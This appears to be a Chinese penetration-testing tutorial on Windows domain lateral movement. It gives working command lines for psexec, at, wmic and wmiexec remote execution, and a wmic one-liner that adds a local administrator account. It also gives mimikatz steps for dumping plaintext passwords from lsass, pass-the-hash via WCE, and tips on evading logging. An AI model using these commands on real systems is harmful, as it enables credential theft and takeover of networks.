zoukankan      html  css  js  c++  java
  • 域渗透基础(二)

    (该文参考整理自网上文章,相关链接附于文末)

    远程命令执行

    PSEXEC

    psexec是pstools工具包中的一个工具,可在微软官网直接下载。是轻型的 telnet 替代工具,它使您无需手动安装客户端软件即可执行其他系统上的进程,并且可以获得与控制台应用程序相当的完全交互性。PsExec 最强大的功能之一是在远程系统和远程支持工具(如 IpConfig)中启动交互式命令提示窗口,以便显示无法通过其他方式显示的有关远程系统的信息。

    psexec针对远程建立连接的认证方式有两种,一种先建立ipc连接,然后直接用psexec \192.168.1.2 cmd命令开启一个半交互式的cmdshell,另一种是在psexec的参数中指定账号密码。

    执行原理

    1、通过ipc$连接,释放psexesvc.exe到目标。
    2、通过服务管理SCManager远程创建psexecsvc服务,并启动服务。
    3、客户端连接执行命令,服务端启动相应的程序并执行回显数据。

    (运行完后删除服务。这个在windows的日志中有详细的记录,另外psexec在少数情况下会出现服务没删除成功的bug,所以一般来讲不太推荐在渗透时使用psexec,可用wmic,wmiexec等)

    常用命令

    获取管理员用户权限的交互式 shell

    psexec \192.168.17.138 -Administrator -p pass cmd

    获取普通用户权限的交互式 shell,要想获取管理员权限 shell ,需要添加-h 参数。

    psexec \192.168.17.138 -u test -p pass cmd

    在远程系统上以 system 权限执行单条命令,有时回显只有一行,原因尚不清楚。

    psexec \192.168.17.138 -Administrator -p pass -s cmd /c "quser"

    在远程系统上执行 bat 脚本

    psexec \192.168.17.138 -Administrator -p pass c:programdata est.bat

    拷贝文件到远程机器并以交互方式运行,运行结束后会删除

    psexec \192.168.17.138 -c C:Users estDesktopGetHashes.exe

    其它参数

    –accepteula 第一次运行会弹框,输入这个参数便不会弹框
    s 以 “nt authoritysystem” 权限运行远程进程
    h 如果可以,以管理员权限运行远程进程
    d 不等待程序执行完就返回,请只对非交互式应用程序使用此选项
    \ip 可以替换成 @ip.txt (存放多个 ip 的文本),可以批量执行命令

    工具说明

    需要远程系统开启 ADMIN$ 共享
    建立 ipc 连接后可以不指定用户名和密码
    不能仅拷贝文件不执行,只需要拷贝时可以建立 ipc 连接后c opy
    在启动psExec建立连接之后,远程系统上会被安装一个服务:PSEXESVC。安装服务会留下日志,而且psexec退出时有可能服务删除失败,所以不推荐使用psexec

    net use+at

    建立一个ipc连接

    net use \192.168.17.138C$ "pass" /u:"workgroupAdministrator"

    拷贝文件到远程系统上

    copy s.exe \192.168.17.138c$RECYCLER

    查看远程主机当前时间

    net time \192.168.17.138

    添加计划任务在远程系统上执行命令

    at \192.168.17.138 15:18 cmd.exe /"ipconfig /all >c:programdataerror.log"

    添加计划任务在远程系统上执行bat脚本

    at \192.168.17.138 15:18 c:programdata est.bat

    查看at任务列表

    at \192.168.17.138

    删除at计划任务,运行完成后一定要删除计划任务!

    at \192.168.17.138 1 /delete

    查看所有ipc连接

    net use

    删除指定ipc连接

    net use \192.168.17.138C$ /del

    删除所有ipc连接(删除前记得确认是否都是自己测试中建立的连接)

    net use * /del /y

    WMIC

    WMI 的全称是 Windows Management Instrumentation,它出现在所有的 Windows操作系统中,并由一组强大的工具集合组成,用于管理本地或远程的 Windows 系统,攻击者使用 wmi 来进行攻击,但 Windows 系统默认不会在日志中记录这些操作,可以做到无日志,攻击脚本无需写入到磁盘,增加了隐蔽性。推荐使用 wmic 进行远程执行命令。

    常用命令

    在远程系统上执行 bat 脚本

    wmic /node:192.168.17.138 /user:test /password:pass process call create c:programdata est.bat

    在远程系统上执行单条命令

    wmic /node:192.168.17.138 /user:test /password:pass process call create "cmd.exe /c net user test1 !@#123QWE /add && net localgroup administrators test1 /add

    工具说明

    1、需要远程系统启动 Windows Management Instrumentation 服务,开放135端口
    2、远程系统的本地安全策略的“网络访问: 本地帐户的共享和安全模式”应设为“经典-本地用户以自己的身份验证”
    3、wmic 会以管理员权限在远程系统上执行命令
    4、防火墙开启将无法连接
    5、如果报错 “Invalid Global Switch” ,用双引号把包含-的结点括起来即可正常执行。

    WMIEXEC

    WMI 可以远程执行命令,大牛使用VBS脚本调用WMI来模拟 psexec 的功能,于是乎WMIEXEC 就诞生了。基本上psexec 能用的地方,这个脚本也能够使用。整个过程是先调用WMI通过账号密码或者NTLM认证(WCE注入)连接到远程计算机,然后如果提供了账号密码,则用这个账号密码建立一个到目标的IPC连接。随后WMI会建立一个共享文件夹,用于远程读取命令执行结果。 当用户输入命令时,WMI创建进程执行该命令,然后把结果输出到文件,这个文件位于之前创建的共享文件夹中。最后,通过FSO组件访问远程共享文件夹中的结果文件,将结果输出。当结果读取完成时,调用WMI执行命令删除结果文件。最后当WMIEXEC退出时,删除文件共享。

    常用命令

    获取半交互式shell

    cscript.exe //nologo wmiexec.vbs /shell 192.168.17.138 username password

    在远程系统上执行单条命令

    cscript.exe wmiexec.vbs /cmd 192.168.17.138 username password "cmdkey /list"

    在远程系统上执行 bat 脚本

    cscript.exe wmiexec.vbs /cmd 192.168.17.138 username password c:programdata est.bat

    上面是提供账号密码的情况,如果有时候我们抓取到的是hash,破解不了时可以利用WCE的hash注入,然后再执行WMIEXEC(不提供账号密码)就可以了。

    Tips:如果抓取的LM hash是AAD3开头的,或者是No Password之类的,就用32个0代替LM hash即可。

    其它参数

    -wait5000 表示这个命令等待5s后再读取结果,用于运行“运行时间长”的命令

    (由于WMI只负责创建进程,没有办法可以判断命令是否执行完毕,所以脚本采用的方法是延迟1200ms后读取结果文件,但是如果命令执行的时间大于1200ms,比如systeminfo 或者ping之类的,这时候读取结果文件会导致读取的结果不完整,然后在删除结果文件时会出错。比如ping结果不能读取完整,而且命令执行完后目标服务器上的wmi.dll结果文件并没有被删除!为了防止出现这种情况,于是在shell模式里面加入了-waitTIME选项,TIME是要等待的时间。当执行的命令后面跟上-wait5000时,表示这个命令等待5s后再读取结果。)

    -persist 程序会在后台运行,不会有结果输出

    (由于正常的命令都要查看结果,所以执行的命令后面都会加上重定向符,把结果输出到文件中。 所以用这个执行木马会有问题,因为木马进程会一直存在,导致结果文件被占用,不能删除,也不能改写,如果执行不带任何参数的nc.exe也是这种效果 出现这种情况后由于结果文件被占用,所以WMIEXEC不能工作,除非手动更改脚本中的结果文件名。或者可以用taskkill 远程结束掉卡死的进程,然后WMIEXEC可以恢复工作。 为了解决这个问题,加入了-persist选项。 当命令加了persist选项后,程序会在后台运行,不会有结果输出,而且会返回这个命令进程的PID,方便结束进程。 这样就可以运行nc或者木马程序了)

    下面这段代码在脚本的一开始,是控制结果文件路径、文件名、以及默认代码执行时
    间的,可以自行更改。

    Const Path = "C:"

    Const FileName = "wmi.dll"

    Const timeOut = 1200

    工具说明

    需要远程系统启动 Windows Management Instrumentation 服务,开放135端口
    远程系统的本地安全策略的“网络访问: 本地帐户的共享和安全模式”应设为“经典-本地用户以自己的身份验证”
    wmicexec.vbs 会以管理员权限在远程系统上执行命令
    virustotal 显示 wmiexec.vbs 会被 Kaspersky、Symantec 和 ZoneAlarm查杀

    mimikatz

    mimikatz是一款功能强大的轻量级调试神器,通过它你可以提升进程权限注入进程读取进程内存,当然他最大的亮点是他可以直接从 lsass中获取当前处于Active系统的登录密码, lsass是微软Windows系统的安全机制它主要用于本地安全和登陆策略,通常我们在登陆系统时输入密码之后,密码便会储存在 lsass内存中,经过其 wdigest 和 tspkg 两个模块调用后,对其使用可逆的算法进行加密并存储在内存之中, 而mimikatz正是通过对lsass的逆算获取到明文密码!也就是说只要你不重启电脑,就可以通过他获取到登陆密码,只限当前登陆系统!

    命令

    • cls—————————–清屏
    • exit—————————-退出
    • version————查看mimikatz的版本
    • system::user—–查看当前登录的系统用户
    • system::computer——-查看计算机名称
    • process::list——————列出进程
    • process::suspend 进程名称 —–暂停进程
    • process::stop 进程名称———结束进程
    • process::modules –列出系统的核心模块及所在位置
    • service::list—————列出系统的服务
    • service::remove———–移除系统的服务
    • service::start stop 服务名称–启动或停止服务
    • privilege::list—————列出权限列表
    • privilege::enable——–激活一个或多个权限
    • privilege::debug—————–提升权限
    • nogpo::cmd————打开系统的cmd.exe
    • nogpo::regedit ———–打开系统的注册表
    • nogpo::taskmgr————-打开任务管理器
    • ts::sessions—————–显示当前的会话
    • ts::processes——显示进程和对应的pid情况等
    • sekurlsa::wdigest—–获取本地用户信息及密码
    • sekurlsa::tspkg——获取tspkg用户信息及密码
    • sekurlsa::logonPasswords–获登陆用户信息及密码

    获取windows 登陆密码

    第一步:根据你系统选择对应的版本,双击打开

    第二步:输入输入privilege::debug 提升权限

    第三步:输入inject::process lsass.exe sekurlsa.dll 将sekurlsa.dll 注入到lsass.exe 中

    第四步:输入sekurlsa::logonPasswords full 即可获取hash和当前用户的明文密码

    哈希传递攻击(Pass The Hash,PTH)

    如果内网主机的本地管理员账户密码相同,那么可以通过pass the hash远程登录到任意一台主机,操作简单、威力无穷。

    在域环境中,利用pass the hash的渗透方式往往是这样的:

    1. 获得一台域主机的权限
    2. Dump内存获得用户hash
    3. 通过pass the hash尝试登录其他主机
    4. 继续搜集hash并尝试远程登录
    5. 直到获得域管理员账户hash,登录域控,最终成功控制整个域

    原理

    • 在Windows系统中,通常会使用NTLM身份认证
    • NTLM认证不使用明文口令,而是使用口令加密后的hash值,hash值由系统API生成(例如LsaLogonUser)
    • hash分为LM hash和NT hash,如果密码长度大于15,那么无法生成LM hash。从Windows Vista和Windows Server 2008开始,微软默认禁用LM hash
    • 如果攻击者获得了hash,就能够在身份验证的时候模拟该用户(即跳过调用API生成hash的过程)

    使用wce进行hash注入

    在内网渗透时,很经常会碰到好不容易提取出了hash,但是无法破解。

    wce号称内网渗透神器,其中有一个功能就是hash注入。

    测试环境:

    目标  windows2008 【192.168.200.128】hash如下:

    测试机:

    windows7【192.168.200.5】

    在无法破解192.168.200.128的administrator密码时,我们可以采用hash注入

    先dir目标的c$(前提是目标有开启C盘共享)

    会提示账号密码错误。

    使用wce

    格式:
    wce.exe -s 账号:主机名或域的名字:LM:NTLM

    提示注入完成。

    再dir目标机器的C盘试试

     

    参考:

    远程命令执行 wmiexec

    利用WMI代替psexec——WMIEXEC.vbs

    法国神器直接获取windows登陆密码

    域渗透——Pass The Hash的实现

    域渗透——Pass The Hash & Pass The Key – 三好学生

    如何使用wce进行hash注入

  • 相关阅读:
    hdu 4002 Find the maximum
    hdu 2837 坑题。
    hdu 3123
    zoj Treasure Hunt IV
    hdu 2053 Switch Game 水题一枚,鉴定完毕
    poj 1430 Binary Stirling Numbers
    hdu 3037 Saving Beans
    hdu 3944 dp?
    南阳oj 求N!的二进制表示最低位的1的位置(从右向左数)。
    fzu 2171 防守阵地 II
  • 原文地址:https://www.cnblogs.com/leixiao-/p/10586804.html
Copyright © 2011-2022 走看看